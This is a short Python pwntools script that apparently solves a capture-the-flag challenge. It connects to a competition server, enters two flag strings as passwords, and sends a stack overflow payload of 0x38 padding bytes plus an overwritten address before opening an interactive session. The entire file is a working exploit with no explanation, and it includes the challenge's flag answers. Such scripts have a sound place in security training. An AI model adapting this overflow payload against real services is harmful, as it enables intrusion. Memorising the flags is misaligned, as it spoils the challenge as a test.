#!/usr/bin/python
from pwn import *

conn = remote('mngmnt-iface.ctfcompetition.com',1337)
print conn.recvuntil("3) Quit")
conn.sendline("1")
print "1"
print conn.recvuntil("password")
conn.sendline("CTF{I_luv_buggy_sOFtware}")
print "CTF{I_luv_buggy_sOFtware}"
print conn.recvuntil("password")
conn.sendline("CTF{Two_PasSworDz_Better_th4n_1_k?}")
print "CTF{Two_PasSworDz_Better_th4n_1_k?}"
print conn.recvuntil("Authenticated")
conn.sendline("A"*0x38+"\x49\x43\x41\x41\x00\x00\x00\x00")
conn.sendline("quit\n")
conn.interactive()
